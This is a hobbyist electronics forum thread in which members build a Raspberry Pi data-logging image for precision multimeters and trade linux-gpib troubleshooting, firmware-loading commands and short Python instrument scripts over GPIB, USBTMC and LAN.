I have not tried the http.server and I would like to see how easy it is to implement.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: FrankBuss on December 11, 2016, 09:14:56 am
I have not tried the http.server and I would like to see how easy it is to implement.

I just tried the webserver, now I can read the value of my benchtop multimeter which has only RS232, in a webpage and even from the internet, if I would add a NAT rule to my router  :)

https://github.com/FrankBuss/RPi_LogNut/blob/master/pub/python/HM8012_Webserver.py (https://github.com/FrankBuss/RPi_LogNut/blob/master/pub/python/HM8012_Webserver.py)

How it looks like (the real version reloads automatically every second) :

(http://i.imgur.com/Bkg1EW7.png)

Of course, this is just a quick hack. You would not create the web pages in the Python code, but state of the art is probably to use some WebSocket API, serve local static files and then some JavaScript communicates over the WebSocket with JSON requests with the Python script.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 11, 2016, 09:30:07 am
@z01z
Thanks, it is know description.Your tutorial and others does not work for some 82357B clones, or at least for one which I have.
I found some information on various forums, but without any solution.On Windows machine it works ok.
And you can create udev rule to avoid executing commands every time you connect adapter.

@Assafl
I did not see any reason for pyVisa.

@ManateeMafia,@FrankBuss
It will be too complex for beginner, but I like idea, unfortunately it is not in my programming skills.
Multiple loggng scripts (one 3458A logging voltage and secon script for BME280) and combining data on D3 seems to be way to go to make it universal for now.



 
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 11, 2016, 09:32:15 am
I have not tried the http.server and I would like to see how easy it is to implement.

I just tried the webserver, now I can read the value of my benchtop multimeter which has only RS232, in a webpage and even from the internet, if I would add a NAT rule to my router  :)

https://github.com/FrankBuss/RPi_LogNut/blob/master/pub/python/HM8012_Webserver.py (https://github.com/FrankBuss/RPi_LogNut/blob/master/pub/python/HM8012_Webserver.py)

How it looks like (the real version reloads automatically every second) :

(http://i.imgur.com/Bkg1EW7.png)

Of course, this is just a quick hack. You would not create the web pages in the Python code, but state of the art is probably to use some WebSocket API, serve local static files and then some JavaScript communicates over the WebSocket with JSON requests with the Python script.

I like it, so on additional page can be actual values.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: FrankBuss on December 11, 2016, 10:21:31 am
@ManateeMafia,@FrankBuss
It will be too complex for beginner, but I like idea, unfortunately it is not in my programming skills.
Multiple loggng scripts (one 3458A logging voltage and secon script for BME280) and combining data on D3 seems to be way to go to make it universal for now.
Using classes will make it easier for the beginner, otherwise the framework programmer did something wrong :) Looks like ManateeMafia has some OOP and Python knowledge, would be cool if he could implement some of my ideas. plesa, if you accept my pull request, if you agree with the slightly changed structure (the html directory in the pub directory now), the current source code will be in your github repository, and ManateeMafia can fork it and modify and add some more code. Or you could add me and ManateeMafia as members to your project (might need to convert your account to a organization, which I think is still free, if you don't have private repositories), makes changing things easier.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: FrankBuss on December 11, 2016, 11:28:15 am
Running multiple scripts and having multiple output files could have some problems, like out of sync and it is more complicated for the web page. Maybe as a start a universal Python script would be a good idea, which reads some simple JSON project file. Then all a user has to do, is to write a JSON project file, no need to program anything (and the JSON file creation could be supported by a neat web interface). An example for measuring volt and temperature:

Code: [Select]

   "LogFile":"/pub/log/test.csv",
   "MeasureInterval":"10",
   "Instruments":[ 
      { 
         "class":"HP34401A",
         "InitCommands":[ 
            { 
               "Command":"DCV",
               "Value":"10"
            },
            { 
               "Command":"LFILTER",
               "Value":"ON"
            }
         ],
         "Unit":"V"
      },
      { 
         "class":"LM75A",
         "Unit":"C"
      }
   ]
}

(I'm not sure if it makes sense to allow to specify multiple input channels, as proposed earlier, maybe better to just instantiate multiple instrument objects, even for the same physical instrument, and each instrument has just one channel.)

The Python script reads this file, creates all instrument classes and configures them, and writes the log file. The script could be even created now by merging all existing Python scripts in one big script, and evaluating the JSON input with it, but would be much better to create some clean classes. The same JSON file can be used from a general webpage, which creates the diagram with it. Special format specifiers, like colors etc., could be added to the JSON file.

This would be not as flexible as hand written Python, e.g. with custom actions when some limits are triggered, and custom HTML code, but I guess would work well for many measurement applications.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on December 12, 2016, 06:06:44 am
@z01z
Thanks, it is know description.Your tutorial and others does not work for some 82357B clones, or at least for one which I have.
I found some information on various forums, but without any solution.On Windows machine it works ok.
And you can create udev rule to avoid executing commands every time you connect adapter.

@Plesa
Chang from Beiming told me that he had to do his own firmware for the adapters he made.
As they were not "Clones" they had other hw layout, and would not run with the agilent firmware.

Maybe that's the same with your clone , i know the "Gold clone" only works @Win.

@Assafl
I did not see any reason for pyVisa.

This is the first time i hear about pyVisa working on a non NI adapter.
Have i missed something ?

/Bingo

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Assafl on December 12, 2016, 07:20:46 am
TiN's documentation ends with a pyvisa example.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 12, 2016, 07:25:21 am
Chang from Beiming told me that he had to do his own firmware for the adapters he made.
As they were not "Clones" they had other hw layout, and would not run with the agilent firmware.

Maybe that's the same with your clone , i know the "Gold clone" only works @Win.

@Assafl
I did not see any reason for pyVisa.

This is the first time i hear about pyVisa working on a non NI adapter.
Have i missed something ?

/Bingo

Clone is 1:1 HW copy of Agilent/Keysight one, it is not cubic version based on NI/NAT and Cypress chip which I also have but after few connection to PC it lost boot code for some reasons.
I suppose it is only question of linux-gpib settings and firmware. I used measat_releaseX1.8.hex.
TiN makes it work, maybe the clones are different. Till it is solved 82357B clones are out of game.Only genuine NI-GPIB HS, E5810 and Prologix will be supported. 
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Sbampato12 on December 12, 2016, 11:56:10 pm
I'm in.
Lately I'm in a hurry with some projects, but whenever possible I could contribute. I have some gears, and a NI PCI GPIB card in my computer.

I will order a new Rasp, since mine is the first one.... ???

Some gears are LAN, some have serial and a lot have GPIB and I can test, and help code something.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on December 13, 2016, 12:32:51 am
I suppose it is only question of linux-gpib settings and firmware. I used measat_releaseX1.8.hex.
TiN makes it work, maybe the clones are different. Till it is solved 82357B clones are out of game.Only genuine NI-GPIB HS, E5810 and Prologix will be supported.

Seems like a strange decision , unless you meant 82357B clones , and still supports the original 82357B.
My Agilent clone & Beimings are running excellent w. linux-gpib.

How do you experience the problem ?

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Assafl on December 13, 2016, 07:42:16 am
I suppose it is only question of linux-gpib settings and firmware. I used measat_releaseX1.8.hex.
TiN makes it work, maybe the clones are different. Till it is solved 82357B clones are out of game.Only genuine NI-GPIB HS, E5810 and Prologix will be supported.

Seems like a strange decision , unless you meant 82357B clones , and still supports the original 82357B.
My Agilent clone & Beimings are running excellent w. linux-gpib.

How do you experience the problem ?

/Bingo

I don't know if that is what plesa is referring to - I am getting for ibtest with Genuine Agilent 82357B (and similar errors for Python):

gpib status is:
ibsta = 0xc100  < ERR TIMO CMPL >
iberr= 14
EBUS 14: Bus error
ibcnt = 0

I was able to see something happen with pyVisa - but can't even recreate that. 
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: z01z on December 13, 2016, 11:54:31 pm
I also have a supposedly original 82357B, which only works in Windows. In linux the same error (EBUS 14: Bus error) happens for me as for Assafl.

Finally managed to dump what is sent from Windows, it is a bit different from what is in the gpib_firmware file.
In the measat_releaseX1.8.hex this is present (from line 75):
:100F200001010380320904000003000000000705EE
:100F3000820200020007050602000200070588037E
:100F400008000100090227000101048032090400A1

And this is sent from Windows (in the same format, with manually calculated checksum):
:100F200001010380FA090400000300000000070526
:100F3000820200020007050602000200070588037E
:100F4000080001000902270001010480FA090400D9

This is the only difference I could see, the same two bytes are different, the rest is the same.

I'm going to change the firmware accordingly and try it, but probably won't be able to do it not before the end of week. I'll report back with the results.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 14, 2016, 07:18:37 pm
Thanks z01z.
Which file in Windows is firmware?
I just started clean Gentoo installation on RPi3 to check if issue persist.
On older kernel/linux-gpib this error has been solved by changing kernel parameter (timing), but it was for PCI and ISA boards.
Document with error messages
http://digital.ni.com/public.nsf/allkb/2FA525A8585A92E9862566EE002A3755 (http://digital.ni.com/public.nsf/allkb/2FA525A8585A92E9862566EE002A3755)
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: z01z on December 14, 2016, 08:15:51 pm
Sadly changing these bytes had no effect, the error still happened.

As for the driver, look for agt357run.inf. There's a separate driver for boot (agt82357.sys) and for run (agt357run.sys).
So you think this is a timing issue? I took some USB captures for both, I'll have a look at them. Downloading the firmware seems to work though, so I suppose it's how commands sent afterwards.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Assafl on December 15, 2016, 02:05:32 am
Concur changing the 2 words did not change the behavior for me as well.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: pelule on December 16, 2016, 05:13:51 am
Quote
GPIB interface:
Agilent 82357B ( official)  - we needs volunteer for testing
Agilent 82357B ( clone)  - I have dead clone only :(
I have the 1st version of Raspberry Pi - as never used this would a nice usage to log on my 3458A.
I also own an Agilent 82357B (not sure how to detect if official or a clone).
My very special feature request: allow to switch of the 3458A display.
BR
PeLuLe
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: FrankBuss on December 16, 2016, 05:28:13 am
I've tested the image on an old Raspberry Pi 1, model B, and works without problem on this hardware.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 16, 2016, 05:34:02 am
I've tested the image on an old Raspberry Pi 1, model B, and works without problem on this hardware.

Thanks Frank!

Quote
GPIB interface:
Agilent 82357B ( official)  - we needs volunteer for testing
Agilent 82357B ( clone)  - I have dead clone only :(
I have the 1st version of Raspberry Pi - as never used this would a nice usage to log on my 3458A.
I also own an Agilent 82357B (not sure how to detect if official or a clone).
My very special feature request: allow to switch of the 3458A display.
BR
PeLuLe


Yes, it is done. I needs to solve 82357B support to release new version of image.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: pelule on December 16, 2016, 06:35:54 am
Is my undersatnding correct:
Raspberry is same time also logging at the environment (temperature. humidity, pressure) using the BME280 sensore (I2C)?
If yes - would great, as I have two of BME280 waiting for activity.

BR
PeLuLe
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 16, 2016, 06:45:50 am
Is my undersatnding correct:
Raspberry is same time also logging at the environment (temperature. humidity, pressure) using the BME280 sensore (I2C)?
If yes - would great, as I have two of BME280 waiting for activity.

BR
PeLuLe

Yes, if you install image it is ready to log data from two BME sensors and it plot graphs on webpage, same like logging from supported instruments.
But currently is 82357B adapter not working
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: pelule on December 16, 2016, 09:17:40 am
Quote
But currently is 82357B adapter not working
Understood, but worth to wait for.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Dwaine on December 17, 2016, 12:40:44 am
Downloading the Image now.  I have a Rigol DM3068 meter.  I'll add a script for it.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on December 17, 2016, 06:12:39 am
But currently is 82357B adapter not working

@plesa et all.

I can confirm that currently the 82357B adapter is not working, on newer raspi kernels.

I have just build linux-gpib (svn) on both a raspi v1 , and a raspi v3 , both fails reading from the adapter.

Both are using latest kernel

Raspi V3 - Linux raspi4 4.4.38-v7+ #938 SMP Thu Dec 15 15:22:21 GMT 2016 armv7l GNU/Linux

Raspi V1 - Linux raspi3 4.4.38+ #938 Thu Dec 15 15:17:54 GMT 2016 armv6l GNU/Linux


I build the same  linux-gpib (svn) , on my Corei5 lappy , where it's working
Linux  3.19.0-32-generic #37~14.04.1-Ubuntu SMP Thu Oct 22 09:41:40 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux


Code: [Select]
$ cat idn1.py
#!/usr/bin/python
# -*- coding: utf-8 -*-

import Gpib
inst = Gpib.Gpib(0,16) # address 6
inst.write("*IDN?")
INST=inst.read(100) # read 100 bytes
print(INST)




 ./idn1.py
KEITHLEY INSTRUMENTS INC.,MODEL 2015,1043877,B15  /A02

Something is wrong on the newer kernels (devicetree or ??).

I have used the 82357B (china prob. clone) adapter on my raspi v1 w. debian wheezy , without problems.
Furthermore it works 100% if i build the same linux-gpib on my Corei5 w. Mint 17.3  - (same kernel as Ubuntu 14.04).


/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: FrankBuss on December 17, 2016, 07:20:10 am
@plesa please add the USBTMC standard Linux driver when you create the next image. On my Debian Wheezy on PC I can now access my SPD3303D over USB, worked out of the box without needing to install a driver, with some quirks how to access it, as someone figured out here (https://www.eevblog.com/forum/testgear/rigol-ds1074z-times-out-with-linux-usbtmc-drivers-and-python-scripts/msg1092816/) (but only the first Device class implementation works with my device), and add it to the documentation. Now I can control a good laboratory power supply from Python scripts, this is going to be fun  :)
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 17, 2016, 07:29:42 am
@plesa please add the USBTMC standard Linux driver when you create the next image. On my Debian Wheezy on PC I can now access my SPD3303D over USB, worked out of the box without needing to install a driver, with some quirks how to access it, as someone figured out here (https://www.eevblog.com/forum/testgear/rigol-ds1074z-times-out-with-linux-usbtmc-drivers-and-python-scripts/msg1092816/) (but only the first Device class implementation works with my device), and add it to the documentation. Now I can control a good laboratory power supply from Python scripts, this is going to be fun  :)

Hi Frank,

USBTMC is already there including example how to control 34411A.
Currently we needs to solve kernel problem with 82357B. Also genuine 82357B is not working with kernels 4.4.34-38.

I hope that with Raspberry, Python, D3 we can have lot of fun and gain from sharing scripts :)
I already receive request for various things like controlling PSU  and reading temperature for testing resistors tempco.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: cdev on December 17, 2016, 07:50:27 am
Did you guys know there is some kind of kernel latency patch for the Raspberry Pi if you need it to send data as it comes in, because it's Ethernet interface is implemented via USB?


So for some kinds of uses, where USB timing is critical, you need this patch, and for others, its not the best choice. Sharing the USB bus allowed them to trim several dollars off the price. A substantial amount of money relative to other parts. So, for certain kinds of uses, other SBCs are better.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: FrankBuss on December 17, 2016, 07:59:15 am
The Python USBTMC implementation doesn't work with my device. I checked it with the 34410A_Log.py example, changing the instrument creation line to

inst =  usbtmc.Instrument("USB::0x0483::0x7540::INSTR")

which is the vendor and product ID I can see with lsusb. And it shows after a while "usb.core.USBError: [Errno 110] Operation timed out". If I change the vendor or product ID in the instrument creation, or unplug the device, it says "usbtmc.usbtmc.UsbtmcException: Device not found [init]", so I guess it finds the device and can open it. But it might be the same problem when using the Linux kernel driver: without the sleep it doesn't work, at least not with the SPD3303D power supply.

I don't know if it makes sense to dig deeper into the cause of the problem, this could result in days of reading kernel source code and using USB logging. I would assume it is some sloppy implementation in the power supply USB connection. I don't know anyway if it is a good idea to implement the USBTMC driver in user mode with usb.core, but maybe it has more features than the kernel module. The simple solution would be to add the USBTMC kernel driver as well, if it doesn't conflict with the Python implementation, but I guess not, because it uses the low level USB PyUSB interface. The author of the 34410A script with a 34410A instrument could test this. If you integrate it as a kernel module and if it doesn't work, the module could be unloaded as default, and I can load it for my scripts.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: FrankBuss on December 17, 2016, 08:04:30 am
Additional benefit of using the USBTMC kernel driver: you can use it from other programs as well, not just from Python. On my PC I can do this:

echo "*IDN?" > /dev/usbtmc0
cat /dev/usbtmc0

and it answers with

Siglent Technologies,SPD3303,SPD00002130137,1.01.01.01.05,V1.1

(but still with the timeout problem: after printing this line it hangs for about 5 seconds and then it says "cat: /dev/usbtmc0: Connection timed out")
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Dwaine on December 17, 2016, 09:05:39 am
I think this is a very good idea.  To have a bunch of python scripts in one spot on a raspberry PI.   I hope everyone contributes scripts for their devices that are not implemented yet.  Is PyVisa included in the image?   I'm just working on the Rigol DM3068 stuff.

Dwaine
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: mimmus78 on December 17, 2016, 10:14:06 am
@FrankBuss

SPD3303 is very slow at handling commands.

You need to put a sleep after the command or it get messed.

I use something like this:

siglent.write("INST CH2")
time.sleep(1)
siglent.write("CH2:VOLT 0")
time.sleep(1)
siglent.write("CH2:CURR 1.3")
time.sleep(1)
siglent.write("OUTP CH2, ON")
time.sleep(1)


you can also lower sleep to 0.1 seconds if you need more speedy setup.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on December 17, 2016, 06:33:32 pm
Did you guys know there is some kind of kernel latency patch for the Raspberry Pi if you need it to send data as it comes in, because it's Ethernet interface is implemented via USB?


So for some kinds of uses, where USB timing is critical, you need this patch, and for others, its not the best choice. Sharing the USB bus allowed them to trim several dollars off the price. A substantial amount of money relative to other parts. So, for certain kinds of uses, other SBCs are better.

The Odroid C2 kicks a.. on ethernet (900Mb both ways)
Too bad they are loooong behind in kernel support.
C2 is one of the fastest (if not the fastest) sbc , but lacks in vendor support.

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on December 17, 2016, 06:35:00 pm
I'm currently building a Raspi w. Noobs 1.4.1 (Wheezy) , and will let you know if the Agilent usb gpib works there.

https://downloads.raspberrypi.org/NOOBS/images/NOOBS-2015-05-12/

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: z01z on December 17, 2016, 08:00:36 pm
@Bingo
I remember you reporting in the other topic that Jessie was working for you. Might it be that you only tried it with a v1 board?
For me Jessie never worked (v3 board). I'll also give Wheezy a try.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on December 17, 2016, 09:02:05 pm
@Bingo
I remember you reporting in the other topic that Jessie was working for you. Might it be that you only tried it with a v1 board?
For me Jessie never worked (v3 board). I'll also give Wheezy a try.

I'm not sure i ever said Jessie worked , just that it build ok. And that i didn't test on real HW.

I never tried the adapter on my v3

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 17, 2016, 09:06:34 pm
Oldest Jessie with kernel 4.4.11 is also not working. Other adapters with uploading firmware like NI GPIB-USB-B are working properly.
Currently I trying older linux-gpib versions.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: z01z on December 17, 2016, 09:24:31 pm
I'm not sure i ever said Jessie worked , just that it build ok. And that i didn't test on real HW.

I never tried the adapter on my v3
Ah, OK. It was wishful thinking on my part  :).
Seems like Wheezy doesn't support v3 boards.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on December 17, 2016, 09:28:13 pm
Could it be that Wheezy just soesn't support WiFi & BT on the V3 boards ??

Else maybe give Ubuntu Mate a try , that would be my next step , for distro that supports v1..v3 boards
https://www.raspberrypi.org/downloads/ (https://www.raspberrypi.org/downloads/)

And i'd expect that kernel headeres are available , instead of that incredible stupid KLUDGE you have to do on Raspbian  :--

/Bi
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 17, 2016, 09:30:18 pm
Could it be that Wheezy just soesn't support WiFi & BT on the V3 boards ??

Else maybe give Ubuntu Mate a try , that would be my next step , for distro that supports v1..v3 boards
https://www.raspberrypi.org/downloads/ (https://www.raspberrypi.org/downloads/)

And i'd expect that kernel headeres are available , instead of that incredible stupid KLUDGE you have to do on Raspbian  :--

/Bi

The same problem is on RPi2 with 4.4.34 and linux-gpib-4.0.3
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on December 17, 2016, 09:55:05 pm
root@raspi2:/home/bingo# ./idn1.py
Traceback (most recent call last):
  File "./idn1.py", line 4, in <module>
    import Gpib
  File "/usr/local/lib/python2.7/dist-packages/Gpib.py", line 2, in <module>
    import gpib
ImportError: libgpib.so.0: cannot open shared object file: No such file or directory

****  I missed the ldconfig

root@raspi2:/home/bingo# ldconfig
root@raspi2:/home/bingo#
root@raspi2:/home/bingo# ./idn1.py
KEITHLEY INSTRUMENTS INC.,MODEL 2015,1043877,B15  /A02 

root@raspi2:/home/bingo#


**** Success on Noobs 1.4.1  - on a Raspi v1  - I disabled devicetree under advanced , but am not sure if it's needed
https://downloads.raspberrypi.org/NOOBS/images/NOOBS-2015-05-12/ (https://downloads.raspberrypi.org/NOOBS/images/NOOBS-2015-05-12/)


uname -a
Linux raspi2 3.18.0-trunk-rpi #1 PREEMPT Debian 3.18.5-1~exp1+rpi19 (2015-08-08) armv6l GNU/Linux

Using my "old recipee"
https://www.eevblog.com/forum/reviews/using-a-raspberry-pi-with-linux-gpib-and-a-beiming-or-agilent-usb-gpib-adapter/msg329067/#msg329067 (https://www.eevblog.com/forum/reviews/using-a-raspberry-pi-with-linux-gpib-and-a-beiming-or-agilent-usb-gpib-adapter/msg329067/#msg329067)

TIN's: Might be clearer
https://xdevs.com/guide/agilent_gpib_rpi/ (https://xdevs.com/guide/agilent_gpib_rpi/)

Basically install Noobs 1.4.1 then do a : 
1: sudo apt-get update
2: sudo apt-get upgrade
3: reboot
4: sudo apt-get install linux-image-rpi-rpfv   (If you are using newer Raspberry Pi 2, please use linux-image-rpi2-rpfv)
5: reboot
6: sudo apt-get install linux-headers-$(uname -r)

Rest from the recipee

Remember
sudo apt-get install fxload


Kernel stuff to append to /boot/config.txt  (Kernel version dependant , look in /boot for the latest kernel installed)
Code: [Select]
# Set params for "raspbian debian-style kernel" boot
kernel=vmlinuz-3.18.0-trunk-rpi
initramfs initrd.img-3.18.0-trunk-rpi followkernel


Ohh - Seems like the udev "autoload firmware doesn't work"
I had to do the loads manually

******** Load firmware begin ********

lsusb
Bus 001 Device 005: ID 0957:0518 Agilent Technologies, Inc. 82357B GPIB Interface

/dev/bus/usb/001/005

#Load fw 2 times , but the id changes after first and second load

fxload -t fx2 -D /dev/bus/usb/001/008 -I /usr/share/usb/agilent_82357a/measat_releaseX1.8.hex
fxload -t fx2 -D /dev/bus/usb/001/009 -I /usr/share/usb/agilent_82357a/measat_releaseX1.8.hex

lsusb after 2'nd load
Bus 001 Device 010: ID 0957:0718 Agilent Technologies, Inc.

sudo gpib_config

If : gpib_config: error while loading shared libraries: libgpib.so.0: cannot open shared object file: No such file or directory
     You missed the : ldconfig


*** From syslog ***
Dec 17 11:43:55 raspi2 kernel: [  713.777579] usb 1-1.2: USB disconnect, device number 10
Dec 17 11:43:55 raspi2 kernel: [  713.778097] agilent_82357a_driver_disconnect: exit
Dec 17 11:43:57 raspi2 kernel: [  715.511199] usb 1-1.2: new high-speed USB device number 11 using dwc_otg
Dec 17 11:43:57 raspi2 kernel: [  715.600619] usb 1-1.2: New USB device found, idVendor=0957, idProduct=0718
Dec 17 11:43:57 raspi2 kernel: [  715.600658] usb 1-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=5
Dec 17 11:43:57 raspi2 kernel: [  715.600677] usb 1-1.2: Product: 82357B ()
Dec 17 11:43:57 raspi2 kernel: [  715.600694] usb 1-1.2: Manufacturer: Agilent Technologies, Inc.
Dec 17 11:43:57 raspi2 kernel: [  715.600712] usb 1-1.2: SerialNumber: MY49450180
Dec 17 11:43:57 raspi2 kernel: [  715.611862] probe succeeded for path: usb-bcm2708_usb-1.2
Dec 17 11:43:57 raspi2 /etc/hotplug/usb/agilent_82357a: entered for Product: 957/718/0 Device: $devnode Serial: MY.... Devpath: /devices/platform/bcm2708_usb/usb1/1-1/1-1.2
Dec 17 11:50:49 raspi2 kernel: [ 1127.274586] attached to bus interface 0, address 0xd9806800
Dec 17 11:50:49 raspi2 kernel: [ 1127.281251] agilent_82357a_attach: attached


******** Load firmware end ********

Remember to make your user member of the gpib group ,
and put  agilent_82357a in /etc/modules

Hmm .... Seems like i have to do a : sudo chmod 666 /dev/gpib*
Even though i'm a member of the gpib group .. strange


/Bingo

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: z01z on December 17, 2016, 10:12:35 pm
Have you tried the 4.x kernel on v1? If not, could you? It might be good to know whether this is a generic issue or just for the newer boards.

A while back I've tried Ubuntu Mate, without much success. I don't remember the details, probably it was my lack of Linux expertise - as if some of the commands didn't work properly. I can give it another try.
Btw, forget the Ubuntu Snappy, it is said to be not working.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on December 17, 2016, 10:16:55 pm
Have you tried the 4.x kernel on v1? If not, could you? It might be good to know whether this is a generic issue or just for the newer boards.

A while back I've tried Ubuntu Mate, without much success. I don't remember the details, probably it was my lack of Linux expertise - as if some of the commands didn't work properly. I can give it another try.
Btw, forget the Ubuntu Snappy, it is said to be not working.

I did try the latest 4.38 (Jessie) on my v1 yesterday , same problems as on my v3
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Dwaine on December 17, 2016, 10:50:08 pm
I think this is a very good idea.  To have a bunch of python scripts in one spot on a raspberry PI.   I hope everyone contributes scripts for their devices that are not implemented yet.  Is PyVisa included in the image?   I'm just working on the Rigol DM3068 stuff.

Dwaine

I have the Rigol DM3068 meter done for LAN connection.   I can test the USB setup too.  How are we doing this.  Separate scripts for each connection type or just have each connection in the python script commented out?

Dwaine

Is there a GIThub that I can do a pull request.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 17, 2016, 11:13:22 pm
I think this is a very good idea.  To have a bunch of python scripts in one spot on a raspberry PI.   I hope everyone contributes scripts for their devices that are not implemented yet.  Is PyVisa included in the image?   I'm just working on the Rigol DM3068 stuff.

Dwaine

I have the Rigol DM3068 meter done for LAN connection.   I can test the USB setup too.  How are we doing this.  Separate scripts for each connection type or just have each connection in the python script commented out?

Dwaine

Is there a GIThub that I can do a pull request.

Go to the xDevs site and download image
https://xdevs.com/doc/_Images_RPI-DL/
Restore it on SD card. After boot go to the pub/python folder where are multiple scripts.
For test USB connection use this Test_USB.py, you needs to change the USB meter PIV/VID and run script   .


Code: [Select]
# Test USB
import usbtmc
instr =  usbtmc.Instrument("USB::0x0957::0x0a07::INSTR")
print(instr.ask("*IDN?"))

response will be something like this
Code: [Select]
pi@raspberrypi:/pub/python $ sudo python Test_USB.py
Agilent Technologies,34411A,MY12345678,2.41-2.40-0.09-46-09


For LAN there is Test_LAN.py   example.

Code: [Select]
# Test VXI11
import vxi11
instr = vxi11.Instrument("192.168.0.10")
print(instr.ask("*IDN?"))

you can add as a first line #!/usr/bin/python2
and run script by sudo ./Test_LAN.py
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Dwaine on December 17, 2016, 11:23:27 pm
USB tested OK, so both USB and LAN are fully functional on the Rigol DM3068.   I have the Rigol DM3068 scripts working.  Is there a GITHub I can do a pull request to get the DM3068 added.  Then other people can enjoy. 

With some more work on the web server side of things.  This could be really a great setup.  Already enjoying the logging.   
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: z01z on December 17, 2016, 11:37:39 pm
This Noobs 1.4.1 doesn't boot on my PI3. If you observe, the newer releases (I've checked the 2.1) have files like bcm27*, which seem to correspond to the different hardware versions. The 1.4 has no such files.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on December 17, 2016, 11:47:49 pm
This Noobs 1.4.1 doesn't boot on my PI3. If you observe, the newer releases (I've checked the 2.1) have files like bcm27*, which seem to correspond to the different hardware versions. The 1.4 has no such files.

Sigh ....  Sorry about that

A v2 would boot afaik

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: FrankBuss on December 18, 2016, 12:52:53 am
USB tested OK, so both USB and LAN are fully functional on the Rigol DM3068.   I have the Rigol DM3068 scripts working.  Is there a GITHub I can do a pull request to get the DM3068 added.  Then other people can enjoy. 
plesa created this repository:
https://github.com/PlesaEEVBlog/RPi_LogNut
@plesa please accept my pull request for the initial content, so that it doesn't get out of sync for too long.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Dwaine on December 18, 2016, 01:45:10 am
USB tested OK, so both USB and LAN are fully functional on the Rigol DM3068.   I have the Rigol DM3068 scripts working.  Is there a GITHub I can do a pull request to get the DM3068 added.  Then other people can enjoy. 
plesa created this repository:
https://github.com/PlesaEEVBlog/RPi_LogNut
@plesa please accept my pull request for the initial content, so that it doesn't get out of sync for too long.

Ok.  I'll wait until the Initial pull happens and then do my get/pull for the Rigol DM3068. 
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Dwaine on December 18, 2016, 02:17:01 am
I have not tried the http.server and I would like to see how easy it is to implement.

I just tried the webserver, now I can read the value of my benchtop multimeter which has only RS232, in a webpage and even from the internet, if I would add a NAT rule to my router  :)

https://github.com/FrankBuss/RPi_LogNut/blob/master/pub/python/HM8012_Webserver.py (https://github.com/FrankBuss/RPi_LogNut/blob/master/pub/python/HM8012_Webserver.py)

How it looks like (the real version reloads automatically every second) :

(http://i.imgur.com/Bkg1EW7.png)

Of course, this is just a quick hack. You would not create the web pages in the Python code, but state of the art is probably to use some WebSocket API, serve local static files and then some JavaScript communicates over the WebSocket with JSON requests with the Python script.

I will also do an example web server view for the Rigol DM3068.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Dwaine on December 18, 2016, 03:54:45 am
The Rigol DM3068 running on the Raspberry PI logging.  Check it out  Give it an Internet test.....

http://99.232.17.239/DM3068_Logs.html (http://99.232.17.239/DM3068_Logs.html)

Dwaine
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on December 18, 2016, 04:35:29 am
Nice :)

plesa

How do you create images? Just simple plain bit-bit clone of SDcard, or there is some tool?
